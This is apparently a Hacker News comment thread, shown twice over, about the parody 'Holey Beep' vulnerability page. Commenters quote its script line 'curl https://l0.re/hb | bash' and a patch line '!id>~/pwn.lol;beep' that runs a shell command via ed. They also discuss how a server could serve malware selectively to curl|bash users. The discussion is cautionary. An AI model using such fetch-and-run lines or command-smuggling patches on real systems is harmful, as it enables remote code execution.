4 ms·

Also see https://holeybeep.ninja/ https://holeybeep.ninja/

voltagex_ 9y ago
I've got a couple of problems with that page: * curl | sudo bash for two lines of script * said script just checks if you have beep installed, not if you're vulnerable
- peoplewindow 9y ago
  Given the sardonic and amusing way the rest of the page is written, my guess is that's a part of the joke.
- simias 9y ago
  Not sure if you're aware of that but it's a joke page made as a parody of the recent "branded vulnerability" craze. I would definitely advise against running random scripts from joke pages, especially through sudo. In that regard notice the "TODO" line from the script: #!/bin/sh # TODO: Backdoor this machine? modprobe pcspkr beep -l 1000 -r 3 -f 44000
  - jstarks 9y ago
    Just recently the script said this instead: #!/bin/sh curl https://l0.re/hb | bash modprobe pcspkr beep -l 1000 -r 3 -f 44000 And then that embedded URL says: echo ohai But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently. And now that I try the original curl again, that first line is gone completely: #!/bin/sh modprobe pcspkr beep -l 1000 -r 3 -f 44000 Strange.
- DCoder 9y ago
  > Is this an OpenSSL bug? > No. > How do I uninstall Linux? > Please follow instructions. Shirley it's not meant as a serious resource.
  - mverwijs 9y ago
    "I agree, but stop calling me 'Shirley'."
- tzs 9y ago
  I don't see the need to qualify "curl | sudo bash" with it being a two line script for it to be problematical. "curl | bash" or "curl | sudo bash" is problematical no matter how large or small the script. Yes, I know some people say that it is no worse than downloading to a file and then running the file without reading the script, which is what almost everyone does anyway. These people are wrong. Downloading to a file and running it from there is always better because if you notice something wonky sometime after running the script, it is easier to prove the script caused it if you saved a copy before running it. If you "curl | bash" it and then you notice something bad has happened and you want to look at the script, you have to curl it again. But then how do you know that second curl gives the same script as the one you just executed? If I were distributing a malicious script, I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, and it would only distribute the malware once for each IP address. Either do "curl > file; bash < file" of "curl | tee file | bash" rather than "curl | bash" if you aren't interesting in examining the script before running it.
  - y4mi 9y ago
    > I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, why not just detect the `curl | bash` part server-side? I'm still amazed how many FOSS projects have that as the primary installation path... https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...
tomsmeding 9y ago
The patch given on that page includes the line: !id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100 Not bothering to test it, but I don't think that contributes to patching beep. Why do people always need to be annoying?
- isotopp 8y ago
  Congratulations. You found the actual exploit. http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2383 http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2... patch calls /bin/ed. /bin/ed has a ! command that feeds stuff to /bin/sh. Feeding unreviewed patches to the patch command is actually arbitrary command execution. This is particularly awesome if patch is being used by other programs (i.e. a CI pipeline or other contexts).

I've got a couple of problems with that page: * curl | sudo bash for two lines of script * said script just checks if you have beep installed, not if you're vulnerable

peoplewindow 9y ago
Given the sardonic and amusing way the rest of the page is written, my guess is that's a part of the joke.
simias 9y ago
Not sure if you're aware of that but it's a joke page made as a parody of the recent "branded vulnerability" craze. I would definitely advise against running random scripts from joke pages, especially through sudo. In that regard notice the "TODO" line from the script: #!/bin/sh # TODO: Backdoor this machine? modprobe pcspkr beep -l 1000 -r 3 -f 44000
- jstarks 9y ago
  Just recently the script said this instead: #!/bin/sh curl https://l0.re/hb | bash modprobe pcspkr beep -l 1000 -r 3 -f 44000 And then that embedded URL says: echo ohai But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently. And now that I try the original curl again, that first line is gone completely: #!/bin/sh modprobe pcspkr beep -l 1000 -r 3 -f 44000 Strange.
DCoder 9y ago
> Is this an OpenSSL bug? > No. > How do I uninstall Linux? > Please follow instructions. Shirley it's not meant as a serious resource.
- mverwijs 9y ago
  "I agree, but stop calling me 'Shirley'."
tzs 9y ago
I don't see the need to qualify "curl | sudo bash" with it being a two line script for it to be problematical. "curl | bash" or "curl | sudo bash" is problematical no matter how large or small the script. Yes, I know some people say that it is no worse than downloading to a file and then running the file without reading the script, which is what almost everyone does anyway. These people are wrong. Downloading to a file and running it from there is always better because if you notice something wonky sometime after running the script, it is easier to prove the script caused it if you saved a copy before running it. If you "curl | bash" it and then you notice something bad has happened and you want to look at the script, you have to curl it again. But then how do you know that second curl gives the same script as the one you just executed? If I were distributing a malicious script, I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, and it would only distribute the malware once for each IP address. Either do "curl > file; bash < file" of "curl | tee file | bash" rather than "curl | bash" if you aren't interesting in examining the script before running it.
- y4mi 9y ago
  > I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, why not just detect the `curl | bash` part server-side? I'm still amazed how many FOSS projects have that as the primary installation path... https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

tomsmeding 9y ago

The patch given on that page includes the line: !id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100 Not bothering to test it, but I don't think that contributes to patching beep. Why do people always need to be annoying?

isotopp 8y ago
Congratulations. You found the actual exploit. http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2383 http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2... patch calls /bin/ed. /bin/ed has a ! command that feeds stuff to /bin/sh. Feeding unreviewed patches to the patch command is actually arbitrary command execution. This is particularly awesome if patch is being used by other programs (i.e. a CI pipeline or other contexts).